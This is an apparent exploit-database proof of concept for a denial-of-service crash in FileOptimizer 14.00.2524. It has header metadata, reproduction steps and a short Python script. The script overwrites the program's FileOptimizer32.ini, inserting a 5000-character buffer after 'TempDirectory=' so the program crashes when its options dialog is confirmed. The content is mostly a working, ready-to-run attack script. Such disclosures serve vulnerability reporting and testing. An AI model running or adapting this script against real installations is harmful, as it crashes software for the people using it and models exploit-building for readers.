# Exploit Title: FileOptimizer 14.00.2524 - Denial of Service (PoC) # Date: 2019-11-04 # Exploit Author: Chase Hatch (SYANiDE) # Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/ # Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download # Version: 14.00.2524 # Tested on: Windows 7 Ultimate x86 SP0 # CVE : none ## Steps to reproduce ## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory ## Run the PoC ## Open FileOptimizer again, navigating to "Optimize" / "Options". ## Click OK to crash #! /usr/bin/env python import os, sys, re test="TempDirectory=" # variable/str in config file to replace with buffer dir = "C:\\Program Files\\FileOptimizer\\" file = "FileOptimizer32.ini" sploit = "A"*5000 temp = open(dir+file,'r').read() temp2 = re.sub(test, test + sploit, temp) with open(dir+file,'w') as F: F.write(temp2) F.close()